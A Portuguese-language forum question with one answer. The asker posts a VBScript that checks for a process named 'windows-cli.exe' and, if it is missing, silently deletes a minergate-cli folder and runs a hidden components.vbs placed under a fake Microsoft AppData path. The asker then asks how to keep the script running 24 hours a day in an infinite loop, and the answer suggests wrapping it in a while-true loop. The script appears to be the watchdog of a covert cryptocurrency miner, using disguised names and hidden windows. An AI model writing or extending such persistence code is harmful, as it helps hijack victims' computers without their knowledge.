0
Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
For Each objProcess in colProcessList
If objProcess.name = "windows-cli.exe" then
vFound = True
exit for
End if
Next
If vFound = False then
Set objShell = CreateObject("WScript.Shell")
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Local\minergate-cli /S /Q", 0, False
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Roaming\Microsoft\Components /S /Q", 0, False
objShell.Run "%SystemRoot%\System32\wscript.exe %USERPROFILE%\AppData\Roaming\Microsoft\components.vbs", 0, False
Set objShell = Nothing
End If

Como faço para esse código ficar rodando 24 horas em um Loop infinito?

1 Resposta 1

1

Sei que a resposta parece simplista, mas já tentaste fazer um while com True ou 1 encapsulando todo o bloco de código desejado. Lembre-se o While executa o loop até a condição ser falsa

Você deve fazer log-in para responder a esta pergunta.

Esta não é a resposta que você está procurando? Pesquise outras perguntas com a tag .